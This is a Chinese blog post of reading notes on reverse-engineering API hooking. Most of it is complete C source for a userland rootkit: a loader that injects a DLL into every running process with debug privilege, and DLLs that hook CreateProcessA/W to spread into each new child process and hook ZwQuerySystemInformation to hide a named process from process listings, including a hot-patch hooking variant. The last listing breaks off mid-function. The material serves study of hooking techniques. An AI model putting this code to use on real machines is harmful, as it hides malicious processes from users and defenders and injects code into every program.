逆向工程核心原理读书笔记-API钩取之隐藏进程(二)
来源:互联网 发布:网络出版物的种类 编辑:程序博客网 时间:2024/06/05 16:22
上一篇文章我们实现的隐藏进程如果重新打开任务管理器或者被隐藏的进程就没有隐藏的效果了。为了弥补这个问题,我们不仅需要钩取当前运行的所有进程,还要钩取将来运行的所有进程。由于所有的进程都是由父进程使用CreateProcess创建的,所以只要钩取父进程(通常是explorer.exe)的CreateProcess将dll注入所有子进程就可以实现了。要注意下面两个问题。
1.CreateProcess同样有CreateProcessA和CreateProcessW两个版本。
2.为了使得dll文件能注入所有运行进程,首先要把dll复制到%windir%文件夹中,在XP中也就是C:\WINDOWS\system32。
HideProc2.cpp
#include "windows.h"#include "stdio.h"#include "tlhelp32.h"#include "tchar.h"enum {INJECTION_MODE = 0, EJECTION_MODE};BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { printf("OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid) ) // receives LUID of privilege { printf("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { printf("The token does not have the specified privilege. \n"); return FALSE; } return TRUE;}BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath){HANDLE hProcess, hThread;LPVOID pRemoteBuf;DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);LPTHREAD_START_ROUTINE pThreadProc;if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { printf("OpenProcess(%d) failed!!!\n", dwPID);return FALSE; }pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);pThreadProc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);WaitForSingleObject(hThread, INFINITE);VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);CloseHandle(hThread);CloseHandle(hProcess);return TRUE;}BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath){BOOL bMore = FALSE, bFound = FALSE;HANDLE hSnapshot, hProcess, hThread;MODULEENTRY32 me = { sizeof(me) };LPTHREAD_START_ROUTINE pThreadProc;if( INVALID_HANDLE_VALUE == (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )return FALSE;bMore = Module32First(hSnapshot, &me);for( ; bMore ; bMore = Module32Next(hSnapshot, &me) ){if( !_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath) ){bFound = TRUE;break;}}if( !bFound ){CloseHandle(hSnapshot);return FALSE;}if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ){printf("OpenProcess(%d) failed!!!\n", dwPID);CloseHandle(hSnapshot);return FALSE;}pThreadProc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL);WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);CloseHandle(hProcess);CloseHandle(hSnapshot);return TRUE;}BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath){DWORD dwPID = 0;HANDLE hSnapShot = INVALID_HANDLE_VALUE;PROCESSENTRY32 pe;// Get the snapshot of the systempe.dwSize = sizeof( PROCESSENTRY32 );hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );// find processProcess32First(hSnapShot, &pe);do{dwPID = pe.th32ProcessID; if( dwPID < 100 )continue; if( nMode == INJECTION_MODE ) InjectDll(dwPID, szDllPath); else EjectDll(dwPID, szDllPath);} while( Process32Next(hSnapShot, &pe) );CloseHandle(hSnapShot);return TRUE;}int _tmain(int argc, TCHAR* argv[]){ int nMode = INJECTION_MODE;if( argc != 3 ){printf("\n Usage : HideProc2.exe <-hide|-show> <dll path>\n\n");return 1;}// change privilegeSetPrivilege(SE_DEBUG_NAME, TRUE); // Inject(Eject) Dll to all process if( !_tcsicmp(argv[1], L"-show") ) nMode = EJECTION_MODE; InjectAllProcess(nMode, argv[2]);return 0;}
stealth2.cpp
#include "windows.h"#include "stdio.h"#include "tchar.h"#define STR_MODULE_NAME(L"stealth2.dll")#define STR_HIDE_PROCESS_NAME(L"notepad.exe")#define STATUS_SUCCESS(0x00000000L) typedef LONG NTSTATUS;typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; BYTE Reserved1[52]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6];} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);typedef BOOL (WINAPI *PFCREATEPROCESSA)( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);typedef BOOL (WINAPI *PFCREATEPROCESSW)( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);BYTE g_pOrgCPA[5] = {0,};BYTE g_pOrgCPW[5] = {0,};BYTE g_pOrgZwQSI[5] = {0,};BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes){FARPROC pFunc;DWORD dwOldProtect, dwAddress;BYTE pBuf[5] = {0xE9, 0, };PBYTE pByte;pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);pByte = (PBYTE)pFunc;if( pByte[0] == 0xE9 )return FALSE;VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);memcpy(pOrgBytes, pFunc, 5);dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;memcpy(&pBuf[1], &dwAddress, 4);memcpy(pFunc, pBuf, 5);VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);return TRUE;}BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes){FARPROC pFunc;DWORD dwOldProtect;PBYTE pByte;pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);pByte = (PBYTE)pFunc;if( pByte[0] != 0xE9 )return FALSE;VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);memcpy(pFunc, pOrgBytes, 5);VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);return TRUE;}BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { printf("OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid) ) // receives LUID of privilege { printf("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { printf("The token does not have the specified privilege. \n"); return FALSE; } return TRUE;}BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName){HANDLE hThread;LPVOID pRemoteBuf;DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);FARPROC pThreadProc;pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); if( pRemoteBuf == NULL ) return FALSE;WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName, dwBufSize, NULL);pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryW");hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pThreadProc, pRemoteBuf, 0, NULL);WaitForSingleObject(hThread, INFINITE);VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);CloseHandle(hThread);return TRUE;}NTSTATUS WINAPI NewZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){NTSTATUS status;FARPROC pFunc;PSYSTEM_PROCESS_INFORMATION pCur, pPrev;char szProcName[MAX_PATH] = {0,};unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQuerySystemInformation");status = ((PFZWQUERYSYSTEMINFORMATION)pFunc) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);if( status != STATUS_SUCCESS )goto __NTQUERYSYSTEMINFORMATION_END;if( SystemInformationClass == SystemProcessInformation ){pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;while(TRUE){ if(pCur->Reserved2[1] != NULL) { if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME)) { if(pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0; else pPrev->NextEntryOffset += pCur->NextEntryOffset; } else pPrev = pCur; }if(pCur->NextEntryOffset == 0)break;pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);}}__NTQUERYSYSTEMINFORMATION_END:hook_by_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);return status;}BOOL WINAPI NewCreateProcessA( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation){ BOOL bRet; FARPROC pFunc; unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA); pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA"); bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); if( bRet ) InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME); hook_by_code("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA, g_pOrgCPA); return bRet;}BOOL WINAPI NewCreateProcessW( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation){ BOOL bRet; FARPROC pFunc; unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW); pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW"); bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); if( bRet ) InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME); hook_by_code("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW, g_pOrgCPW); return bRet;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){ char szCurProc[MAX_PATH] = {0,}; char *p = NULL; GetModuleFileNameA(NULL, szCurProc, MAX_PATH); p = strrchr(szCurProc, '\\'); if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") ) return TRUE; SetPrivilege(SE_DEBUG_NAME, TRUE); switch( fdwReason ) { case DLL_PROCESS_ATTACH : hook_by_code("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA, g_pOrgCPA); hook_by_code("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW, g_pOrgCPW); hook_by_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI); break; case DLL_PROCESS_DETACH : unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA); unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW); unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI); break; } return TRUE;}
但是每当程序内部调用CreateProcess时NewCreateProcess都会反复执行脱钩/挂钩操作,不仅会造成整体性能低下,在多线程环境下还会产生运行时错误。使用Hot Patch技术修改7个字节代码,比修改5个字节代码更加稳定。先来看看常用API代码的起始部分,以CreateProcessA为例。
API代码以2个字节的MOV EDI,EDI指令开始,上方还有5个nop指令,一共7个字节没有意义的指令,这就是为了方便打热补丁用的。将API起始代码前的5个字节修改为FAR JMP指令,然后将API起始代码处的2个字节修改为SHORT JMP指令跳转到前面FAR JMP处。
我们来分析一下源代码,看看是怎么实现的。
因为HideProc2.cpp不需要改动,所以主要讲解stealth3.cpp。首先分析hook_by_hotpatch函数。
BOOL hook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew){FARPROC pFunc;DWORD dwOldProtect, dwAddress;BYTE pBuf[5] = { 0xE9, 0, }; BYTE pBuf2[2] = { 0xEB, 0xF9 };PBYTE pByte;pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);pByte = (PBYTE)pFunc;if( pByte[0] == 0xEB )return FALSE;VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);dwAddress = (DWORD)pfnNew - (DWORD)pFunc;memcpy(&pBuf[1], &dwAddress, 4);memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5); memcpy(pFunc, pBuf2, 2);VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);return TRUE;}计算一下JMP XXXXXXXX和JMP YY的地址。
XXXXXXXX
=要跳转的地址-当前指令地址-当前指令长度(5)
=(DWORD)pfnNew-((DWORD)pFunc-5)-5
=(DWORD)pfnNew-(DWORD)pFunc
YY
=要跳转的地址-当前指令地址-当前指令长度(2)
=(pFunc-5)-pFunc-2=-7=0xF9
YY的值是固定的,硬编码到源代码里面就可以了。
接下来是unhook_by_hotpatch函数,它用来恢复修改后的指令。这些指令同样是固定的,所以还是硬编码到源代码里面。
BOOL unhook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName){ FARPROC pFunc; DWORD dwOldProtect; PBYTE pByte; BYTE pBuf[5] = { 0x90, 0x90, 0x90, 0x90, 0x90 }; BYTE pBuf2[2] = { 0x8B, 0xFF }; pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; if( pByte[0] != 0xEB ) return FALSE; VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5); memcpy(pFunc, pBuf2, 2); VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE;}
最后是NewCreateProcessA函数。和前面不同的是,NewCreateProcessA中不再需要调用unhook_by_code和hook_by_code函数,而是添加了计算pFunc的语句,用来跳过API起始位置处的JMP YY指令,使得能够达到与调用原API一样的效果。
BOOL WINAPI NewCreateProcessA( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation){ BOOL bRet; FARPROC pFunc; pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA"); pFunc = (FARPROC)((DWORD)pFunc + 2); bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); if( bRet ) InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME); return bRet;}完整的代码如下。
#include "windows.h"#include "stdio.h"#include "tchar.h"#define STR_MODULE_NAME(L"stealth3.dll")#define STR_HIDE_PROCESS_NAME(L"notepad.exe")#define STATUS_SUCCESS(0x00000000L) typedef LONG NTSTATUS;typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; BYTE Reserved1[52]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6];} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);typedef BOOL (WINAPI *PFCREATEPROCESSA)( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);typedef BOOL (WINAPI *PFCREATEPROCESSW)( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);BYTE g_pOrgZwQSI[5] = {0,};BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes){FARPROC pFunc;DWORD dwOldProtect, dwAddress;BYTE pBuf[5] = {0xE9, 0, };PBYTE pByte;pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);pByte = (PBYTE)pFunc;if( pByte[0] == 0xE9 )return FALSE;VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);memcpy(pOrgBytes, pFunc, 5);dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;memcpy(&pBuf[1], &dwAddress, 4);memcpy(pFunc, pBuf, 5);VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);return TRUE;}BOOL hook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew){FARPROC pFunc;DWORD dwOldProtect, dwAddress;BYTE pBuf[5] = { 0xE9, 0, }; BYTE pBuf2[2] = { 0xEB, 0xF9 };PBYTE pByte;pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);pByte = (PBYTE)pFunc;if( pByte[0] == 0xEB )return FALSE;VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);dwAddress = (DWORD)pfnNew - (DWORD)pFunc;memcpy(&pBuf[1], &dwAddress, 4);memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5); memcpy(pFunc, pBuf2, 2);VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);return TRUE;}BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes){FARPROC pFunc;DWORD dwOldProtect;PBYTE pByte;pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);pByte = (PBYTE)pFunc;if( pByte[0] != 0xE9 )return FALSE;VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);memcpy(pFunc, pOrgBytes, 5);VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);return TRUE;}BOOL unhook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName){ FARPROC pFunc; DWORD dwOldProtect; PBYTE pByte; BYTE pBuf[5] = { 0x90, 0x90, 0x90, 0x90, 0x90 }; BYTE pBuf2[2] = { 0x8B, 0xFF }; pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; if( pByte[0] != 0xEB ) return FALSE; VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5); memcpy(pFunc, pBuf2, 2); VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE;}BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { printf("OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, lpszPrivilege, &luid) ) { printf("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { printf("The token does not have the specified privilege. \n"); return FALSE; } return TRUE;}BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName){HANDLE hThread;LPVOID pRemoteBuf;DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);FARPROC pThreadProc;pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); if( pRemoteBuf == NULL ) return FALSE;WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName, dwBufSize, NULL);pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryW");hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pThreadProc, pRemoteBuf, 0, NULL);WaitForSingleObject(hThread, INFINITE);VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);CloseHandle(hThread);return TRUE;}NTSTATUS WINAPI NewZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){NTSTATUS status;FARPROC pFunc;PSYSTEM_PROCESS_INFORMATION pCur, pPrev;char szProcName[MAX_PATH] = {0,};unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQuerySystemInformation");status = ((PFZWQUERYSYSTEMINFORMATION)pFunc) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);if( status != STATUS_SUCCESS )goto __NTQUERYSYSTEMINFORMATION_END;if( SystemInformationClass == SystemProcessInformation ){pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;while(TRUE){ if(pCur->Reserved2[1] != NULL) { if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME)) { if(pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0; else pPrev->NextEntryOffset += pCur->NextEntryOffset; } else pPrev = pCur; }if(pCur->NextEntryOffset == 0)break;pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);}}__NTQUERYSYSTEMINFORMATION_END:hook_by_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);return status;}BOOL WINAPI NewCreateProcessA( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation){ BOOL bRet; FARPROC pFunc; pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA"); pFunc = (FARPROC)((DWORD)pFunc + 2); bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); if( bRet ) InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME); return bRet;}BOOL WINAPI NewCreateProcessW( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation){ BOOL bRet; FARPROC pFunc; pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW"); pFunc = (FARPROC)((DWORD)pFunc + 2); bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); if( bRet ) InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME); return bRet;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){ char szCurProc[MAX_PATH] = {0,}; char *p = NULL; GetModuleFileNameA(NULL, szCurProc, MAX_PATH); p = strrchr(szCurProc, '\\'); if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") ) return TRUE; SetPrivilege(SE_DEBUG_NAME, TRUE); switch( fdwReason ) { case DLL_PROCESS_ATTACH : hook_by_hotpatch("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA); hook_by_hotpatch("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW); hook_by_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI); break; case DLL_PROCESS_DETACH : 